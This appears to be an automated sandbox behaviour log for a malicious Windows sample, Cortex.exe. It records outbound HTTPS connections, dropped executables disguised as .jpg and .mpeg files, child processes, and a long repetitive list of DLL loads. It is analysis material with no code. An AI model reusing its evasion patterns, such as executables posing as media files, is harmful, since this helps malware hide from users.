Source: unknown Network traffic detected: HTTP traffic on port 50385 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50384
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50383
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50385
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown Network traffic detected: HTTP traffic on port 50383 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown HTTPS traffic detected: 16.12.9.22:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 16.12.9.22:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 92.53.116.138:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 92.53.116.138:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 92.53.116.138:443 -> 192.168.2.5:49870 version: TLS 1.2
PE file contains executable resources (Code or Archives)
Source: Cortex.exe Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: Shorts.exe.0.dr Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: Boletim[1].jpg.0.dr Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
PE file contains more sections than normal
Source: Boletim[1].jpg.0.dr Static PE information: Number of sections : 11 > 10
Source: Cortex.exe Static PE information: Number of sections : 12 > 10
Source: Shorts.exe.0.dr Static PE information: Number of sections : 11 > 10
Source: Aula[1].mpeg.0.dr Static PE information: Number of sections : 11 > 10
Source: EBatt.exe.0.dr Static PE information: Number of sections : 11 > 10
Uses 32bit PE files
Source: Cortex.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: classification engine Classification label: mal60.evad.winEXE@9/12@3/3
Source: C:\Users\user\Desktop\Cortex.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Boletim[1].jpg Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\Shorts.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\Shorts.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\EBatt.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\EBatt.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\Shorts.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\Shorts.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\EBatt.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\EBatt.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\Shorts.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\Shorts.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\EBatt.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Litiun\EBatt.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Cortex.exe "C:\Users\user\Desktop\Cortex.exe"
Source: C:\Users\user\Desktop\Cortex.exe Process created: C:\Litiun\Shorts.exe c:\Litiun\Shorts.exe
Source: C:\Users\user\Desktop\Cortex.exe Process created: C:\Litiun\EBatt.exe c:\Litiun\EBatt.exe
Source: unknown Process created: C:\Litiun\Shorts.exe "C:\Litiun\Shorts.exe"
Source: unknown Process created: C:\Litiun\EBatt.exe "C:\Litiun\EBatt.exe"
Source: unknown Process created: C:\Litiun\Shorts.exe "C:\Litiun\Shorts.exe"
Source: unknown Process created: C:\Litiun\EBatt.exe "C:\Litiun\EBatt.exe"
Source: C:\Users\user\Desktop\Cortex.exe Process created: C:\Litiun\Shorts.exe c:\Litiun\Shorts.exe Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Process created: C:\Litiun\EBatt.exe c:\Litiun\EBatt.exe Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: version.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
